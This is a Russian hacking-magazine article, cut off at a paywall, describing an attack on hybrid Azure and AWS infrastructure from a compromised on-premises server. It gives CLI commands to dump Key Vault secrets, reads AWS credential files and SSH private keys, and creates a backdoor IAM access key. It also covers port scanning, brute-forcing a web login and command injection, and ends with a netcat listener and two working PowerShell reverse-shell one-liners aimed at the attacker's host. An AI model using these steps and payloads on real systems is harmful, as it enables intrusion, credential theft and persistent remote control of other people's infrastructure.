Перенос IT-инфраструктуры в облака — это не дань моде: такой подход позволяет экономить на технической поддержке, резервном копировании и администрировании. К тому же размещение инфраструктуры в облаке считается более защищенным и от сбоев, и от внешних атак. Но есть и эффективные методы взлома наиболее популярных гибридно-облачных сред, таких как Azure и AWS. Об этих техниках и атаках я расскажу дальше.
Описания техник и атак в этой статье приведены исключительно в образовательных целях. Автор и редакция не несут ответственности за возможные последствия использования информации из этой статьи.
Для наглядности давай представим пример атакуемой инфраструктуры в виде следующей диаграммы.
Как видно из диаграммы, организация использует серверы и сервисы разных облачных провайдеров, а также имеет ряд серверов on-premises. Серверы и сервисы взаимодействуют между собой, так как это необходимо для полноценной работоспособности бизнеса. Предположим, что злоумышленник получил удаленный доступ к скомпрометированному серверу on-premises. Вот несколько возможных сценариев дальнейшего развития атаки.
Имея доступ к линукс-серверу on-premises, желательно оставаться незамеченным как можно дольше. С этой целью можно использовать сервисы, действия и запросы которых рассматриваются в системе как разрешенные. На такую роль как нельзя лучше подходят прикладные утилиты для удаленной работы с облачной инфраструктурой.
Также стоит обратить внимание на любые другие следы того, что сервер взаимодействует с облаками. К примеру, можно проанализировать command history, запущенные процессы, установленные пакеты и прочее.
Azure CLI — это набор команд для создания ресурсов Azure и управления ими. Azure CLI доступен в различных службах Azure и предназначен для быстрой работы с ними. Для входа в профиль Azure по умолчанию используется команда az login
.
Как оказалось, в нашем случае линукс-сервер имеет доступ к инфраструктуре Azure. Какую полезную информацию из этого можно извлечь? Для начала с помощью команды az account list
получим перечень подписок авторизированного пользователя.
C помощью директивы az account show --query "id"
можно получить ID учетной записи. А команда
az resource list --query "[?type=='Microsoft.KeyVault/vaults']"
позволяет узнать данные о key vault.
Key Vault — это служба, которая помогает хранить ключи в аппаратных модулях безопасности (HSM), зашифровывая ключи и небольшие секретные данные, например пароли. Очевидно, что Key Vault должен быть правильно настроен, иначе может произойти нечто подобное тому, что показано на скриншоте ниже.
А вот еще несколько команд, позволяющих выудить из Azure нужные взломщику сведения:
az resource show --id /subscriptions/… | grep -E enablePurgeProtection|enableSoftDelete
— проверить, можно ли восстановить Key Vault;az keyvault secret list --vault-name name --query [*].[{"name":attributes.name},{"enabled":attributes.enabled},{"expires":attributes.expires}]
—проверить, когда секретный ключ Key Vault истекает;az keyvault secret list --vault-name KeyVaultdatasecure --query '[].id'
— получить URL для Key Vault;az keyvault secret show --id
— получить данные, хранящиеся в Key Vault;az network nsg list --query [*].[name,securityRules]
— получить данные о политике безопасности для сети Azure.С помощью приведенных выше команд можно увидеть детали настроек политик безопасности для сети, к примеру название политики, группы, конфигурации. Обрати внимание на теги access
, destinationPortRange
, protocol
и direction
. Они показывают, что на сервере разрешены внешние подключения. Установка удаленного доступа к C&C значительно облегчает задачу атакующему и повышает шансы остаться незамеченным.
AWS CLI — это единый инструмент для управления сервисами AWS. Загружаешь всего одно средство, и можешь контролировать множество сервисов AWS из командной строки и автоматизировать их с помощью скриптов.
Если утилита AWS установлена на скомпрометированной машине, можно проверить, сконфигурирован ли AWS-профиль. Конфигурационные данные к AWS на компьютерах под управлением Linux хранятся в файле ~/. aws/credentials
, а в Windows — в C:Users USERNAME . awscredentials
. Этот файл может содержать данные к учетной записи AWS (access key ID, secret access key и session token). Полученную таким образом учетную запить можно использовать для удаленного доступа в будущем.
С помощью следующих команд AWS CLI мы получим важную информацию о развернутой в сети облачной инфраструктуре:
aws sts get-caller-identity
— получить данные об используемой учетной записи;aws iam list-users
— перечислить всех IAM-пользователей;aws s3 ls
— перечислить все доступные AWS S3;aws lambda list --functions
— перечислить все lambda-функции;aws lambda get-function --function-name [function_name]
— собрать дополнительную информацию по lambda-переменным, локации и так далее;aws ec2 describe-instances
— перечислить все доступные виртуальные машины;aws deploy list-applications
— перечисть все доступные веб-сервисы;aws rds describe-db-instances
— показать все доступные RDS-базы данных.Существуют и другие методы сбора информации на скомпрометированной системе. К примеру, можно воспользоваться командой history
и посмотреть, какие команды выполнялись за последнее время на этой машине.
Чтобы закрепиться в системе, можно создать учетную запись с секретными ключами и именем iamadmin
, которая будет выполнять функцию бэкдора для атакующего. Для этого воспользуемся командой
aws iam create-access-key --user-name iamadmin
С помощью команд SSH можно подключиться к удаленному AWS bucket.
Получается, что боковыми движениями мы заполучили доступ к инфраструктуре AWS. При эксплуатации SSH желательно всегда проверять следующие директории и файлы:
.ssh/authorized_keys
— содержит подпись публичных ключей для любых авторизованных клиентов;.ssh/id_rsa
— содержит приватные ключи для клиентов;.ssh/id_rsa.pub
— содержит публичные ключи для клиента;.ssh/known_hosts
— содержит список подписей хостов.Итак, нам удалось найти данные для учетных записей и собрать достаточно информации, чтобы понять, что в инфраструктуре Azure присутствует несколько виртуальных машин и сервисов. Виртуальные машины в Azure очень похожи на обычные машины, которые работают в виртуальной среде, и потому поддерживают стандартный набор команд. Запустим Nmap на одной из виртуальных машин AWS.
nmap -sS -sV -v -Pn -p- <IP-адрес >
Видно, что на удаленной виртуальной машине работает Apache на 80-м порте. Как правило, настройки доступа в среде Azure устанавливаются с помощью правил Azure network group. Так что нужно быть внимательным и не забывать менять тестовые настройки. Как оказалось, мы имеем дело с веб-приложением для тестирования статуса машин в облаке. Не буду углубляться в подробности тестирования веб-приложения, а просто приведу пример, как уязвимость в веб-приложении может предоставить доступ к удаленной виртуальной машине в Azure.
Для перебора учетных данных использовался DirBuster, который привел меня на страницу с формой логина администратора. Выяснилось, что приложение уязвимо к перечислению пользователей и брутфорсу пароля. Сбрутить пароль можно с использованием Burp Suite.
Приложение оказалось уязвимым к запуску команды на удаленном компьютере.
Видно, что это машина под управлением Windows, на которой можно попробовать взять шелл. Для начала нужно запустить слушателя на машине атакующего. В качестве примера будет использован netcat: выполним команду nc -lvp 9090
, которая запускает слушателя на порте 9090 и переводит его в режим ожидания удаленного TCP-соединения.
Можно использовать приведенный ниже PowerShell reverse shell либо загрузить на машину свой собственный шелл, так как этот может быть обнаружен антивирусами и EDP-системами. Вот два примера шелла PowerShell, которые можно использовать на удаленной машине.
powershell 127.0.0.1&powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('IP,9090);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
$client = New-Object System.Net.Sockets.TCPClient("IP",9090);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Как только мы получим шелл, можно приступить к постэксплуатации и дальнейшим горизонтальным перемещениям.
Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», увеличит личную накопительную скидку и позволит накапливать профессиональный рейтинг Xakep Score! Подробнее
1 год7690 р. |
1 месяц720 р. |
Я уже участник «Xakep.ru»
Читайте также
Последние новости